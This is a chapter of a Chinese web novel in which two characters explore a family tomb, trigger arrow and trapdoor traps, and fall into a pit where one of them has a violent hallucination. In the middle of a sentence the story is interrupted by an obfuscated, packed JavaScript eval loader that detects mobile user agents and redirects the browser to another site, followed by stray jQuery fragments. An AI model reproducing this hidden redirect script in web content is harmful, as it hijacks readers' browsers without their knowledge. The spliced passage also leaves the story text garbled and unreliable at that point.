这里没有多余的墓道,门后便是用于安葬的墓室。
当烛光照进墓中,里面依旧一片荒芜。
景序昭沉声道:“吴荣贵说死在吴家的女人都会葬入吴家墓穴,李荞旁的墓室理应葬着吴耀金的前前任夫人,可如今什么也没有。”
池楚浠绕着这个不太大的墓室走了一圈,没有棺材,没有祭品,更没有尸体。
她道:“继续找。”
这一次,他们顺着甬道走了很长一段路,若说半个山底下都用做了墓穴,那怎么也该看见一具尸体了。否则,吴荣贵就是说谎,那些女人根本没有葬入吴家墓穴。
眼前的墓门令两人顿住脚步,这是一扇朝两侧开的大门,占据了整面墙。
两人彼此看了一眼,有片刻屏住呼吸。
池楚浠终于有些心慌了,这扇门与其他的门不同,门后或许就是整个墓穴的中心墓室。
正当池楚浠靠近墓门时,她却被景序昭一把拉住。
“看脚下。”景序昭提醒。
池楚浠就着烛光低头看去,地面的石板上有一些图案,她蹲下拂去石板上的灰尘仔细看。
石板上有着浮雕一样的东西,像是刻了一个戏台,那戏台上有人在唱戏。
“吴家人喜欢听戏?”她疑惑。
景序昭指着戏台周围道:“不见得,这戏台的前后左右都没有看客,这戏台搭在荒郊野外。”
池楚浠再往周围看去,果然是荒郊野外,戏台不远处还有茂密的树冠,侧面是一条山路。
她道:“谁会荒郊野外搭个戏台子?”
景序昭:“你可听闻鬼唱戏?”
“何为鬼唱戏?”池楚浠抬头望向他。
景序昭:“在荒郊野外搭台唱戏,专给鬼看,若活人误入其中会被迷走魂魄。”
池楚浠:“那又如何?”
“没了魂魄还能如何?”景序昭道,“要么死,要么不人不鬼。”
“我没见过这鬼唱戏,也从未听闻。”
“这只是传说罢了,我也没见过。”
景序昭举高手中的蜡烛,靠近右侧的墙面看去,墙缝之间有些不同寻常。
他嘱咐池楚浠:“你先不要走动。”
池楚浠点点头。
景序昭又查看了剩下的两面墙壁,计算出一个角度,他拉着池楚浠的手腕将她带至墓门左侧面的墙角处。
“你就站在这里。”
池楚浠道:“可是有机关?”
景序昭:“嗯,你站着便好。”
安排好池楚浠后,他用力推动那扇被当做墓门的石墙。
池楚浠明显感觉到墙面在颤动。
景序昭最后用力推了一把,接着迅速闪身躲到池楚浠身边的位置。
池楚浠还未反应过来,耳旁就听见嗖嗖的箭矢破风声,那些从墙缝里射出的利箭重重扎在了对面的石壁上。
才一会儿功夫,利箭便扎完了。
池楚浠忽地笑了:“这吴家的防盗倒是有些随意,看来里面并没有多少钱财,难怪其他墓室都不设防盗。”
景序昭道:“他既兴裸葬,又岂会放太多钱财,修如此宽敞的墓穴恐怕是不想被人打扰逝者灵魂飞升。”
池楚浠望着眼前的石门:“这扇门要如何打开,有机关吗?”
景序昭上前,双手压在门上直接往里推。
池楚浠:“我推那边。”
“不必。”景序昭抬手制止。
他虽然用力推着,但并没想过能通过这种方式将门打开。
池楚浠见他推不开,还以为是他力气不够,毕竟这是一扇顶到天花板的门,是一整面墙。
景序昭嘴上说着不让帮忙,莫不是他要面子,不肯承认自己力气不够。
池楚浠这么想着,还是决定上前帮一把。
刚要去帮手,池楚浠就听见门的左侧闷闷地响起“咔”的一声,像是从石头里传出来的。
景序昭凝神仔细听着,找准了机关所在的位置。
只见他在石门左侧的第二块门板上寻了个位置按下去,“咔咔”声便持续响起。
石门从中间打开。
“机关还能这样寻?”池楚浠震惊道。
景序昭:“夜里出来时师父临时教了几个点子。”
“岳师父的玄空门到底是做什么的?”
“什么都有,都是些谋生的活计,与寻常手艺人差不多。”
“那可差多了,你们上知天文下知地理,还能未卜先知。”
“没那么玄乎。”
池楚浠笑笑,不再过问,反正岳逸钦说过,她不适合做那行。
石门完全打开,烛光能照到的地面皆是一片空旷,这里是一个极其宽敞的墓室。
“这里会葬着谁?”
池楚浠的本意是找那些莫名死在吴家的女人,如今女人一个没找着,反倒进入了这个大墓室。
这里如此宽敞,必定不会只葬外姓女子。
“进去看看。”
池楚浠进入墓室。
景序昭刚一踏进门,身后的石门便快速合上了。
池楚浠听见动静回头看来:“关严实了?”
景序昭默默地点头,的确是关严实了,他听岳逸钦说起过,有些墓门会在盗墓者进入墓室后关死,为的是困死盗墓者,让他们作为陪葬品。
一路过来看了吴家的墓室,其他地方都没有活人陪葬的痕迹,景序昭还不确定这里有何用意。
烛光照亮的范围有限,池楚浠不得不拿着蜡烛继续往前,光影照到了正前方的高台,那里有处高高的黑影,像是树枝。
这底下会长出树来?
池楚浠疑惑地往前踏出几步。
景序昭也看见了那棵树,当下便心生疑惑,这墓穴里怎么可能会有自然生长的树。
这里根本晒不到太阳。
前方的树影完全吸引了两人的目光。
池楚浠又走近了几步,烛火将树影照得更清晰了些,那景是一棵石榴树,与吴家院子里的一样,枝头还开着红色花朵。
更奇的是,有蝴蝶绕着花飞舞。
“这墓室……”
池楚浠怔怔地想说什么,她不由自主地朝那树影走去。
“这墓室有古怪!”
景序昭大声道,他迅速去拽池楚浠手腕,可惜他慢了一步,池楚浠已然踏出那一步。
她脚下的地板猛然翻转,池楚浠的身子骤然往下坠落。
景序昭只能第一时间捉住池楚浠手腕,随着她一起落下。
“啊!”
池楚浠的叫声仿佛都被这地底淹没了,闷闷的一丝动静也传不出去。
突然的下坠令池楚浠感到头晕眼花,手中的烛火在下坠时已然熄灭。
周围一片漆黑,唯有景序昭握过来的手尚且能让她感到一丝生机。
身体重重地砸在坚硬的地板上,池楚浠疼得眼泪都出来了,她咬着牙道:“景序昭,这陷阱里有多大可能生还?”
景序昭摸出火折子重新点亮蜡烛,池楚浠手里的蜡烛不知落在了何处,不见了。
他上前查看池楚浠的伤势,关切道:“摔到哪儿了?可严重?”
池楚浠摸摸尾巴骨,含泪道:“已经摔了,认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405839|184457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命,能出去的话再找大夫瞧瞧,若出不去……”
出不去就只能死在这里了吧,岳师父一定想不到他们会掉进墓室的陷阱里。
谁会想到表面上人畜无害的吴家墓穴,深处竟有这样古怪的机关陷阱。
景序昭道:“方才那树和蝴蝶都是假象,是引诱我们一步步落入陷阱的幻象。”
池楚浠有些不可置信:“在这样的墓穴如何制造幻象,谁人有这本事?”
景序昭道:“并不是多高明的本事,你想想你阿耶是如何落水的?”
池楚浠怔住了。
是幻梦蛉在阿耶体内游走,导致阿耶视物产生幻象,幻梦蛉同时也会影响他的四肢协调性,最终使他落水而死。
她此刻的四肢还能听使唤,那她中的应当不是如幻梦蛉之类的蛊毒。
想必是其他可致幻的毒药。
池楚浠揉了揉眼皮,想要打破眼前的幻象,她道:“那我们此时看见的可还是幻象?”
景序昭忽然紧紧盯着她,嘴角勾起一抹笑意:“你认为呢?池、楚、浠。”
池楚浠忽然头痛欲裂,她捧住自己的脑袋坐在地上将脸埋在膝盖上。
“景序昭,你为何要用这样语气跟我说话?”
剧烈的头疼让她有些神志不清,但还是咬牙问出这一句。
景序昭此时此刻的眼神和语气令她格外陌生。
忽然,一只大手扣住了她的后脖颈。
那只手缓缓收紧,压迫住脖颈两侧。
池楚浠这才意识到危险,身体本能地往一旁躲去。
可她刚一躲开景序昭的另一只手便猛地拽住她的脚腕,硬生生将她拖了回去。
“想逃去何处啊?”
景序昭死死地看着她,随即,他又忽地一笑,笑得格外好看,如沐春风一般。
池楚浠从未见过这样的景序昭,她使劲蹬腿,反而两只脚踝都被扣住。
她带了哭声:“你要做什么?”
只见景序昭将左手抬至鼻下嗅了嗅,他方才就是用这只手掐了池楚浠脖子。
他又忽地笑了:“很香,你在自己身上也抹了香膏,是迷药?”
池楚浠此刻倒希望自己抹的是迷药,若是迷药,景序昭这会儿已经晕过去了。
景序昭依旧紧紧盯着她:“不是迷药?”
池楚浠摇摇头:“不是……只是普通的香膏,你……你松开我。”
池楚浠眼神里露了怯意:“景序昭,我们一起找出口,我们从这里出去。”
景序昭拖住池楚浠的小腿将她朝自己拉近,池楚浠双掌往后撑,想拖住些什么。
可惜无用,她什么也没抓住,还无法借力,掌心在地上磨破了皮。
刺痛感后知后觉地袭来,她感到无比恐慌。
“景序昭,你是不是中毒了?”
此刻,她与景序昭近在咫尺。
景序昭倾身过来,猛地掐住池楚浠脖子,语气森冷:“楚浠长大了,就要与我疏远了。”
“在此之前,不如我先杀了你。”
景序昭那双眼里当真有杀意。
池楚浠感到害怕,她想要挣扎,可头越来越疼,几乎意识不清。
她甚至顾不上景序昭此刻要杀她的事,她的身体很痛苦。
池楚浠呼吸不畅,只本能地呢喃:“阿兄……我好难受,我们出去吧。”
“出去……”
……
“我们这就出去!”景序昭抱着人大声道,“楚浠,醒醒。”
方才坠落时池楚浠便晕了过去,瞧她那神情,像是还处在幻象之中。